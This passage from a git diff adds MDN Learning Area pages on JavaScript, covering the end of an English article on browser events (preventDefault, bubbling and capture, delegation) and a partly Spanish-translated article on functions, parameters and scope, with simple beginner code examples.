+<h3 id="Preventing_default_behavior">Preventing default behavior</h3>
+
+<p>Sometimes, you'll come across a situation where you want to stop an event doing what it does by default. The most common example is that of a web form, for example, a custom registration form. When you fill in the details and press the submit button, the natural behaviour is for the data to be submitted to a specified page on the server for processing, and the browser to be redirected to a "success message" page of some kind (or the same page, if another is not specified.)</p>
+
+<p>The trouble comes when the user has not submitted the data correctly — as a developer, you'll want to stop the submission to the server and give them an error message telling them what's wrong and what needs to be done to put things right. Some browsers support automatic form data validation features, but since many don't, you are advised to not rely on those and implement your own validation checks. Let's look at a simple example.</p>
+
+<p>First, a simple HTML form that requires you to enter your first and last name:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="fname"&gt;First name: &lt;/label&gt;
+    &lt;input id="fname" type="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="lname"&gt;Last name: &lt;/label&gt;
+    &lt;input id="lname" type="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+     &lt;input id="submit" type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}
+</pre>
+</div>
+
+<p>Now some JavaScript — here we implement a very simple check inside an <a href="/en-US/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a> event handler (the submit event is fired on a form when it is submitted) that tests whether the text fields are empty. If they are, we call the <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> function on the event object — which stops the form submission — and then display an error message in the paragraph below our form to tell the user what's wrong:</p>
+
+<pre class="brush: js notranslate">var form = document.querySelector('form');
+var fname = document.getElementById('fname');
+var lname = document.getElementById('lname');
+var submit = document.getElementById('submit');
+var para = document.querySelector('p');
+
+form.onsubmit = function(e) {
+  if (fname.value === '' || lname.value === '') {
+    e.preventDefault();
+    para.textContent = 'You need to fill in both names!';
+  }
+}</pre>
+
+<p>Obviously, this is pretty weak form validation — it wouldn't stop the user validating the form with spaces or numbers entered into the fields, for example — but it is ok for example purposes. The output is as follows:</p>
+
+<p>{{ EmbedLiveSample('Preventing_default_behavior', '100%', 140, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: for the full source code, see <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/preventdefault-validation.html">preventdefault-validation.html</a> (also see it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/preventdefault-validation.html">running live</a> here.)</p>
+</div>
+
+<h3 id="Event_bubbling_and_capture">Event bubbling and capture</h3>
+
+<p>The final subject to cover here is something that you'll not come across often, but it can be a real pain if you don't understand it. Event bubbling and capture are two mechanisms that describe what happens when two handlers of the same event type are activated on one element. Let's look at an example to make this easier — open up the <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> example in a new tab (and the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">source code</a> in another tab.) It is also available live below:</p>
+
+<div class="hidden">
+<h6 id="Hidden_video_example">Hidden video example</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Show video box example&lt;/title&gt;
+    &lt;style&gt;
+      div {
+        position: absolute;
+        top: 50%;
+        transform: translate(-50%,-50%);
+        width: 480px;
+        height: 380px;
+        border-radius: 10px;
+        background-color: #eee;
+        background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.1));
+      }
+
+      .hidden {
+        left: -50%;
+      }
+
+      .showing {
+        left: 50%;
+      }
+
+      div video {
+        display: block;
+        width: 400px;
+        margin: 40px auto;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;button&gt;Display video&lt;/button&gt;
+
+    &lt;div class="hidden"&gt;
+      &lt;video&gt;
+        &lt;source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4" type="video/mp4"&gt;
+        &lt;source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm" type="video/webm"&gt;
+        &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+      &lt;/video&gt;
+    &lt;/div&gt;
+
+    &lt;script&gt;
+
+      var btn = document.querySelector('button');
+      var videoBox = document.querySelector('div');
+      var video = document.querySelector('video');
+
+      btn.onclick = function() {
+        displayVideo();
+      }
+
+      function displayVideo() {
+        if(videoBox.getAttribute('class') === 'hidden') {
+          videoBox.setAttribute('class','showing');
+        }
+      }
+
+      videoBox.addEventListener('click',function() {
+        videoBox.setAttribute('class','hidden');
+      });
+
+      video.addEventListener('click',function() {
+        video.play();
+      });
+
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_video_example', '100%', 500, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>This is a pretty simple example that shows and hides a {{htmlelement("div")}} with a {{htmlelement("video")}} element inside it:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Display video&lt;/button&gt;
+
+&lt;div class="hidden"&gt;
+  &lt;video&gt;
+    &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+    &lt;source src="rabbit320.webm" type="video/webm"&gt;
+    &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+  &lt;/video&gt;
+&lt;/div&gt;</pre>
+
+<p>When the {{htmlelement("button")}} is clicked, the video is displayed, by changing the class attribute on the <code>&lt;div&gt;</code> from <code>hidden</code> to <code>showing</code> (the example's CSS contains these two classes, which position the box off the screen and on the screen, respectively):</p>
+
+<pre class="brush: js notranslate">btn.onclick = function() {
+  videoBox.setAttribute('class', 'showing');
+}</pre>
+
+<p>We then add a couple more <code>onclick</code> event handlers — the first one to the <code>&lt;div&gt;</code> and the second one to the <code>&lt;video&gt;</code>. The idea is that when the area of the <code>&lt;div&gt;</code> outside the video is clicked, the box should be hidden again; when the video itself is clicked, the video should start to play.</p>
+
+<pre class="brush: js notranslate">videoBox.onclick = function() {
+  videoBox.setAttribute('class', 'hidden');
+};
+
+video.onclick = function() {
+  video.play();
+};</pre>
+
+<p>But there's a problem — currently, when you click the video it starts to play, but it causes the <code>&lt;div&gt;</code> to also be hidden at the same time. This is because the video is inside the <code>&lt;div&gt;</code> — it is part of it — so clicking on the video actually runs <em>both</em> the above event handlers.</p>
+
+<h4 id="Bubbling_and_capturing_explained">Bubbling and capturing explained</h4>
+
+<p>When an event is fired on an element that has parent elements (e.g. the {{htmlelement("video")}} in our case), modern browsers run two different phases — the <strong>capturing</strong> phase and the <strong>bubbling</strong> phase.</p>
+
+<p>In the <strong>capturing</strong> phase:</p>
+
+<ul>
+ <li>The browser checks to see if the element's outer-most ancestor ({{htmlelement("html")}}) has an <code>onclick</code> event handler registered on it in the capturing phase, and runs it if so.</li>
+ <li>Then it moves on to the next element inside <code>&lt;html&gt;</code> and does the same thing, then the next one, and so on until it reaches the element that was actually clicked on.</li>
+</ul>
+
+<p>In the <strong>bubbling</strong> phase, the exact opposite occurs:</p>
+
+<ul>
+ <li>The browser checks to see if the element that was actually clicked on has an <code>onclick</code> event handler registered on it in the bubbling phase, and runs it if so.</li>
+ <li>Then it moves on to the next immediate ancestor element and does the same thing, then the next one, and so on until it reaches the <code>&lt;html&gt;</code> element.</li>
+</ul>
+
+<p><a href="https://mdn.mozillademos.org/files/14075/bubbling-capturing.png"><img alt="" src="https://mdn.mozillademos.org/files/14075/bubbling-capturing.png" style="display: block; height: 452px; margin: 0px auto; width: 960px;"></a></p>
+
+<p>(Click on image for bigger diagram)</p>
+
+<p>In modern browsers, by default, all event handlers are registered in the bubbling phase. So in our current example, when you click the video, the click event bubbles from the <code>&lt;video&gt;</code> element outwards to the <code>&lt;html&gt;</code> element. Along the way:</p>
+
+<ul>
+ <li>It finds the <code>video.onclick...</code> handler and runs it, so the video first starts playing.</li>
+ <li>It then finds the <code>videoBox.onclick...</code> handler and runs it, so the video is hidden as well.</li>
+</ul>
+
+<h4 id="Fixing_the_problem_with_stopPropagation">Fixing the problem with stopPropagation()</h4>
+
+<p>This is annoying behavior, but there is a way to fix it! The standard event object has a function available on it called <code><a href="/en-US/docs/Web/API/Event/stopPropagation">stopPropagation()</a></code>, which when invoked on a handler's event object makes it so that handler is run, but the event doesn't bubble any further up the chain, so no more handlers will be run.</p>
+
+<p>We can, therefore, fix our current problem by changing the second handler function in the previous code block to this:</p>
+
+<pre class="brush: js notranslate">video.onclick = function(e) {
+  e.stopPropagation();
+  video.play();
+};</pre>
+
+<p>You can try making a local copy of the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">show-video-box.html source code</a> and having a go at fixing it yourself, or looking at the fixed result in <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html">show-video-box-fixed.html</a> (also see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box-fixed.html">source code</a> here).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Why bother with both capturing and bubbling? Well, in the bad old days when browsers were much less cross-compatible than they are now, Netscape only used event capturing, and Internet Explorer used only event bubbling. When the W3C decided to try to standardize the behavior and reach a consensus, they ended up with this system that included both, which is the one modern browsers implemented.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: As mentioned above, by default all event handlers are registered in the bubbling phase, and this makes more sense most of the time. If you really want to register an event in the capturing phase instead, you can do so by registering your handler using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>, and setting the optional third property to <code>true</code>.</p>
+</div>
+
+<h4 id="Event_delegation">Event delegation</h4>
+
+<p>Bubbling also allows us to take advantage of <strong>event delegation</strong> — this concept relies on the fact that if you want some code to run when you click on any one of a large number of child elements, you can set the event listener on their parent and have events that happen on them bubble up to their parent rather than having to set the event listener on every child individually. Remember earlier that we said bubbling involves checking the element the event is fired on for an event handler first, then moving up to the element's parent, etc.?</p>
+
+<p>A good example is a series of list items — if you want each one of them to pop up a message when clicked, you can set the <code>click</code> event listener on the parent <code>&lt;ul&gt;</code>, and events will bubble from the list items to the <code>&lt;ul&gt;</code>.</p>
+
+<p>This concept is explained further on David Walsh's blog, with multiple examples — see <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>You should now know all you need to know about web events at this early stage. As mentioned above, events are not really part of the core JavaScript — they are defined in browser Web APIs.</p>
+
+<p>Also, it is important to understand that the different contexts in which JavaScript is used tend to have different event models — from Web APIs to other areas such as browser WebExtensions and Node.js (server-side JavaScript). We are not expecting you to understand all these areas now, but it certainly helps to understand the basics of events as you forge ahead with learning web development.</p>
+
+<p>If there is anything you didn't understand, feel free to read through the article again, or <a href="/en-US/Learn#Contact_us">contact us</a> to ask for help.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.quirksmode.org/js/events_order.html">Event order</a> (discussion of capturing and bubbling) — an excellently detailed piece by Peter-Paul Koch.</li>
+ <li><a href="http://www.quirksmode.org/js/events_access.html">Event accessing</a> (discussion of the event object) — another excellently detailed piece by Peter-Paul Koch.</li>
+ <li><a href="/en-US/docs/Web/Events">Event reference</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/es/learn/javascript/building_blocks/functions/index.html b/files/es/learn/javascript/building_blocks/functions/index.html
new file mode 100644
index 0000000000..d05ae34969
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/functions/index.html
@@ -0,0 +1,400 @@
+---
+title: Funciones — bloques de código reutilizables
+slug: Learn/JavaScript/Building_blocks/Functions
+tags:
+  - API
+  - Funciones
+  - JavaScript
+  - Métodos
+  - Navegador
+translation_of: Learn/JavaScript/Building_blocks/Functions
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">Otro concepto esencial en la codificación son las <strong>funciones</strong>, que te permiten almacenar un fragmento de código que realiza una única tarea dentro de un bloque definido, y luego llamar a ese código siempre que lo necesites utilizando un único comando breve -- en lugar de tener que escribir el mismo codigo varias veces. En este artículo exploraremos conceptos fundamentales detrás de funciones tales como sintaxis básica, cómo invocarlas y definirlas, alcance(scope) y parámetros.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Conocimientos basicos de informatica, conocimiento basico de   HTML y CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>Entender los conceptos fundamentales detras de las funciones JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Dónde_encuentro_las_funciones">¿Dónde encuentro las funciones? </h2>
+
+<p>En JavaScript vas a encontrar funciones por todos lados. De hecho, nosotros hemos usados funciones todo el tiempo a lo largo del curso; solo que no hemos hablado mucho sobre ellas. Ahora es el momento, igual, para comenzar a hablar explicitamente sobre las funciones y explorar su sintaxis.</p>
+
+<p>Básicamente cada vez que haces uso de código JavaScript que contiene parentesis como () y no estás usando estructuras de lenguaje como for loop, while, do, do while, estás usando una función! </p>
+
+<p>Funciones incluídas en los navegadores</p>
+
+<p>A lo largo de este curso hemos usado muchas funciones incluídas del navegador. Por ejemplo, cuando manipulamos una cadena de texto o <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/String">string</a>:</p>
+
+<pre class="brush: js notranslate">let miTexto = 'Soy una cadena de texto!';
+let nuevaCadena = miTexto.replace('cadena', 'ensalada');
+console.log(nuevaCadena);
+// la función de cadena de texto <strong>replace()</strong> toma una cadena,
+// reemplaza una palabra por otra, y devuelve
+// una nueva cadena con el reemplazo hecho.</pre>
+
+<p>O cada vez que manipulamos un <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array">array</a>:</p>
+
+<pre class="brush: js notranslate">let miArray = ['Yo', 'amo', 'el', 'chocolate', 'y', 'las', 'ranas'];
+let armarCadena = miArray.join(' ');
+console.log(armarCadena);
+// La función join() toma un array,
+// une todos sus elementos en una cadena o string
+// y devuelve esta nueva cadena.</pre>
+
+<p>O cada vez que generamos un número al azar:</p>
+
+<pre class="brush: js notranslate">var miNumero = Math.random();
+console.log(miNumero);
+// La función <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math/random">Math.random()</a> genera un número aleatorio
+// entre 0 and 1 y devuelve ese número.
+</pre>
+
+<p>...estamos usando una función!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Sientase libre de ingresar esas líneas de código en la consola JavaScript de su navegador, para familiarizarse con sus funcionalidades. </p>
+</div>
+
+<p>El lenguaje JavaScript contiene muchas funciones integradas que te permiten realizar cosas muy utilies sin escribir el código tu mismo. De hecho, parte del código que llamas (una palabra elegante para decir correr o ejecutar) cuando invocas una función integrada puede no estar escrita en JavaScript —muchas de estas funciones están llamando partes del código del navegador de fondo, que está escrito principalmente en lenguajes de sistema de bajo nivel como C ++, no en lenguajes web como JavaScript.</p>
+
+<p>Bear in mind that some built-in browser functions are not part of the core JavaScript language — some are defined as part of browser APIs, which build on top of the default language to provide even more functionality (refer to <a href="/en-US/Learn/JavaScript/First_steps/What_is_JavaScript#So_what_can_it_really_do">this early section of our course</a> for more descriptions). We'll look at using browser APIs in more detail in a later module.</p>
+
+<h2 id="Functions_versus_methods">Functions versus methods</h2>
+
+<p>One thing we need to clear up before we move on — technically speaking, built in browser functions are not functions — they are <strong>methods</strong>. This sounds a bit scary and confusing, but don't worry — the words function and method are largely interchangeable, at least for our purposes, at this stage in your learning.</p>
+
+<p>The distinction is that methods are functions defined inside objects. Built-in browser functions (methods) and variables (which are called <strong>properties</strong>) are stored inside structured objects, to make the code more efficient and easier to handle.</p>
+
+<p>You don't need to learn about the inner workings of structured JavaScript objects yet — you can wait until our later module that will teach you all about the inner workings of objects, and how to create your own. For now, we just wanted to clear up any possible confusion of method versus function — you are likely to meet both terms as you look at the available related resources across the Web.</p>
+
+<h2 id="Custom_functions">Custom functions</h2>
+
+<p>You've also seen a lot of <strong>custom functions</strong> in the course so far — functions defined in your code, not inside the browser. Anytime you saw a custom name with parentheses straight after it, you were using a custom function. In our <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> example (see also the full <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">source code</a>) from our <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">loops article</a>, we included a custom <code>draw()</code> function that looked like this:</p>
+
+<pre class="brush: js notranslate">function draw() {
+  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  for (var i = 0; i &lt; 100; i++) {
+    ctx.beginPath();
+    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+    ctx.fill();
+  }
+}</pre>
+
+<p>This function draws 100 random circles inside an {{htmlelement("canvas")}} element. Every time we want to do that, we can just invoke the function with this</p>
+
+<pre class="brush: js notranslate">draw();</pre>
+
+<p>rather than having to write all that code out again every time we want to repeat it. And functions can contain whatever code you like — you can even call other functions from inside functions. The above function for example calls the <code>random()</code> function three times, which is defined by the following code:</p>
+
+<pre class="brush: js notranslate">function random(number) {
+  return Math.floor(Math.random()*number);
+}</pre>
+
+<p>We needed this function because the browser's built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> function only generates a random decimal number between 0 and 1. We wanted a random whole number between 0 and a specified number.</p>
+
+<h2 id="Invoking_functions">Invoking functions</h2>
+
+<p>You are probably clear on this by now, but just in case ... to actually use a function after it has been defined, you've got to run — or invoke — it. This is done by including the name of the function in the code somewhere, followed by parentheses.</p>
+
+<pre class="brush: js notranslate">function myFunction() {
+  alert('hello');
+}
+
+myFunction()
+// calls the function once</pre>
+
+<h2 id="Anonymous_functions">Anonymous functions</h2>
+
+<p>You may see functions defined and invoked in slightly different ways. So far we have just created a function like so:</p>
+
+<pre class="brush: js notranslate">function myFunction() {
+  alert('hello');
+}</pre>
+
+<p>But you can also create a function that doesn't have a name:</p>
+
+<pre class="brush: js notranslate">function() {
+  alert('hello');
+}</pre>
+
+<p>This is called an <strong>anonymous function</strong> — it has no name! It also won't do anything on its own. You generally use an anonymous function along with an event handler, for example the following would run the code inside the function whenever the associated button is clicked:</p>
+
+<pre class="brush: js notranslate">var myButton = document.querySelector('button');
+
+myButton.onclick = function() {
+  alert('hello');
+}</pre>
+
+<p>The above example would require there to be a {{htmlelement("button")}} element available on the page to select and click. You've already seen this structure a few times throughout the course, and you'll learn more about and see it in use in the next article.</p>
+
+<p>You can also assign an anonymous function to be the value of a variable, for example:</p>
+
+<pre class="brush: js notranslate">var myGreeting = function() {
+  alert('hello');
+}</pre>
+
+<p>This function could now be invoked using:</p>
+
+<pre class="brush: js notranslate">myGreeting();</pre>
+
+<p>This effectively gives the function a name; you can also assign the function to be the value of multiple variables, for example:</p>
+
+<pre class="brush: js notranslate">var anotherGreeting = function() {
+  alert('hello');
+}</pre>
+
+<p>This function could now be invoked using either of</p>
+
+<pre class="brush: js notranslate">myGreeting();
+anotherGreeting();</pre>
+
+<p>But this would just be confusing, so don't do it! When creating functions, it is better to just stick to this form:</p>
+
+<pre class="brush: js notranslate">function myGreeting() {
+  alert('hello');
+}</pre>
+
+<p>You will mainly use anonymous functions to just run a load of code in response to an event firing — like a button being clicked — using an event handler. Again, this looks something like this:</p>
+
+<pre class="brush: js notranslate">myButton.onclick = function() {
+  alert('hello');
+  // I can put as much code
+  // inside here as I want
+}</pre>
+
+<h2 id="Function_parameters">Function parameters</h2>
+
+<p>Some functions require <strong>parameters</strong> to be specified when you are invoking them — these are values that need to be included inside the function parentheses, which it needs to do its job properly.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Parameters are sometimes called arguments, properties, or even attributes.</p>
+</div>
+
+<p>As an example, the browser's built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> function doesn't require any parameters. When called, it always returns a random number between 0 and 1:</p>
+
+<pre class="brush: js notranslate">var myNumber = Math.random();</pre>
+
+<p>The browser's built-in string <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> function however needs two parameters — the substring to find in the main string, and the substring to replace that string with:</p>
+
+<pre class="brush: js notranslate">var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');</pre>
+
+<div class="note">
+<p><strong>Note</strong>: When you need to specify multiple parameters, they are separated by commas.</p>
+</div>
+
+<p>It should also be noted that sometimes parameters are optional — you don't have to specify them. If you don't, the function will generally adopt some kind of default behavior. As an example, the array <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">join()</a> function's parameter is optional:</p>
+
+<pre class="brush: js notranslate">var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+// returns 'I love chocolate frogs'
+var madeAString = myArray.join();
+// returns 'I,love,chocolate,frogs'</pre>
+
+<p>If no parameter is included to specify a joining/delimiting character, a comma is used by default.</p>
+
+<h2 id="Function_scope_and_conflicts">Function scope and conflicts</h2>
+
+<p>Let's talk a bit about {{glossary("scope")}} — a very important concept when dealing with functions. When you create a function, the variables and other things defined inside the function are inside their own separate <strong>scope</strong>, meaning that they are locked away in their own separate compartments, unreachable from inside other functions or from code outside the functions.</p>
+
+<p>The top level outside all your functions is called the <strong>global scope</strong>. Values defined in the global scope are accessible from everywhere in the code.</p>
+
+<p>JavaScript is set up like this for various reasons — but mainly because of security and organization. Sometimes you don't want variables to be accessible from everywhere in the code — external scripts that you call in from elsewhere could start to mess with your code and cause problems because they happen to be using the same variable names as other parts of the code, causing conflicts. This might be done maliciously, or just by accident.</p>
+
+<p>For example, say you have an HTML file that is calling in two external JavaScript files, and both of them have a variable and a function defined that use the same name:</p>
+
+<pre class="brush: html notranslate">&lt;!-- Excerpt from my HTML --&gt;
+&lt;script src="first.js"&gt;&lt;/script&gt;
+&lt;script src="second.js"&gt;&lt;/script&gt;
+&lt;script&gt;
+  greeting();
+&lt;/script&gt;</pre>
+
+<pre class="brush: js notranslate">// first.js
+var name = 'Chris';
+function greeting() {
+  alert('Hello ' + name + ': welcome to our company.');
+}</pre>
+
+<pre class="brush: js notranslate">// second.js
+var name = 'Zaptec';
+function greeting() {
+  alert('Our company is called ' + name + '.');
+}</pre>
+
+<p>Both functions you want to call are called <code>greeting()</code>, but you can only ever access the <code>second.js</code> file's <code>greeting()</code> function — it is applied to the HTML later on in the source code, so its variable and function overwrite the ones in <code>first.js</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this example <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">running live on GitHub</a> (see also the <a href="https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">source code</a>).</p>
+</div>
+
+<p>Keeping parts of your code locked away in functions avoids such problems, and is considered best practice.</p>
+
+<p>It is a bit like a zoo. The lions, zebras, tigers, and penguins are kept in their own enclosures, and only have access to the things inside their enclosures — in the same manner as the function scopes. If they were able to get into other enclosures, problems would occur. At best, different animals would feel really uncomfortable inside unfamiliar habitats — a lion or tiger would feel terrible inside the penguins' watery, icy domain. At worst, the lions and tigers might try to eat the penguins!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14079/MDN-mozilla-zoo.png" style="display: block; margin: 0 auto;"></p>
+
+<p>The zoo keeper is like the global scope — he or she has the keys to access every enclosure, to restock food, tend to sick animals, etc.</p>
+
+<h3 id="Active_learning_Playing_with_scope">Active learning: Playing with scope</h3>
+
+<p>Let's look at a real example to demonstrate scoping.</p>
+
+<ol>
+ <li>First, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html">function-scope.html</a> example. This contains two functions called <code>a()</code> and <code>b()</code>, and three variables — <code>x</code>, <code>y</code>, and <code>z</code> — two of which are defined inside the functions, and one in the global scope. It also contains a third function called <code>output()</code>, which takes a single parameter and outputs it in a paragraph on the page.</li>
+ <li>Open the example up in a browser and in your text editor.</li>
+ <li>Open the JavaScript console in your browser developer tools. In the JavaScript console, enter the following command:
+  <pre class="brush: js notranslate">output(x);</pre>
+  You should see the value of variable <code>x</code> output to the screen.</li>
+ <li>Now try entering the following in your console
+  <pre class="brush: js notranslate">output(y);
+output(z);</pre>
+  Both of these should return an error along the lines of "<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>". Why is that? Because of function scope — <code>y</code> and <code>z</code> are locked inside the <code>a()</code> and <code>b()</code> functions, so <code>output()</code> can't access them when called from the global scope.</li>
+ <li>However, what about when it's called from inside another function? Try editing <code>a()</code> and <code>b()</code> so they look like this:
+  <pre class="brush: js notranslate">function a() {
+  var y = 2;
+  output(y);
+}
+
+function b() {
+  var z = 3;
+  output(z);
+}</pre>
+  Save the code and reload it in your browser, then try calling the <code>a()</code> and <code>b()</code> functions from the JavaScript console:
+
+  <pre class="brush: js notranslate">a();
+b();</pre>
+  You should see the <code>y</code> and <code>z</code> values output in the page. This works fine, as the <code>output()</code> function is being called inside the other functions — in the same scope as the variables it is printing are defined in, in each case. <code>output()</code> itself is available from anywhere, as it is defined in the global scope.</li>
+ <li>Now try updating your code like this:
+  <pre class="brush: js notranslate">function a() {
+  var y = 2;
+  output(x);
+}
+
+function b() {
+  var z = 3;
+  output(x);
+}</pre>
+  Save and reload again, and try this again in your JavaScript console:
+
+  <pre class="brush: js notranslate">a();
+b();</pre>
+  Both the <code>a()</code> and <code>b()</code> call should output the value of x — 1. These work fine because even though the <code>output()</code> calls are not in the same scope as <code>x</code> is defined in, <code>x</code> is a global variable so is available inside all code, everywhere.</li>
+ <li>Finally, try updating your code like this:
+  <pre class="brush: js notranslate">function a() {
+  var y = 2;
+  output(z);
+}
+
+function b() {
+  var z = 3;
+  output(y);
+}</pre>
+  Save and reload again, and try this again in your JavaScript console:
+
+  <pre class="brush: js notranslate">a();
+b();</pre>
+  This time the <code>a()</code> and <code>b()</code> calls will both return that annoying "<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: z is not defined</a>" error — this is because the <code>output()</code> calls and the variables they are trying to print are not defined inside the same function scopes — the variables are effectively invisible to those function calls.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: The same scoping rules do not apply to loop (e.g. <code>for() { ... }</code>) and conditional blocks (e.g. <code>if() { ... }</code>) — they look very similar, but they are not the same thing! Take care not to get these confused.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a> error is one of the most common you'll encounter. If you get this error and you are sure that you have defined the variable in question, check what scope it is in.</p>
+</div>
+
+<ul>
+</ul>
+
+<h3 id="Functions_inside_functions">Functions inside functions</h3>
+
+<p>Keep in mind that you can call a function from anywhere, even inside another function.  This is often used as a way to keep code tidy — if you have a big complex function, it is easier to understand if you break it down into several sub-functions:</p>
+
+<pre class="brush: js notranslate">function myBigFunction() {
+  var myValue;
+
+  subFunction1();
+  subFunction2();
+  subFunction3();
+}
+
+function subFunction1() {
+  console.log(myValue);
+}
+
+function subFunction2() {
+  console.log(myValue);
+}
+
+function subFunction3() {
+  console.log(myValue);
+}
+</pre>
+
+<p>Just make sure that the values being used inside the function are properly in scope. The example above would throw an error <code>ReferenceError: myValue is not defined</code>, because although the <code>myValue</code> variable is defined in the same scope as the function calls, it is not defined inside the function definitions — the actual code that is run when the functions are called. To make this work, you'd have to pass the value into the function as a parameter, like this:</p>
+
+<pre class="brush: js notranslate">function myBigFunction() {
+  var myValue = 1;
+
+  subFunction1(myValue);
+  subFunction2(myValue);
+  subFunction3(myValue);
+}
+
+function subFunction1(value) {
+  console.log(value);
+}
+
+function subFunction2(value) {
+  console.log(value);
+}
+
+function subFunction3(value) {
+  console.log(value);
+}</pre>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>This article has explored the fundamental concepts behind functions, paving the way for the next one in which we get practical and take you through the steps to building up your own custom function.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
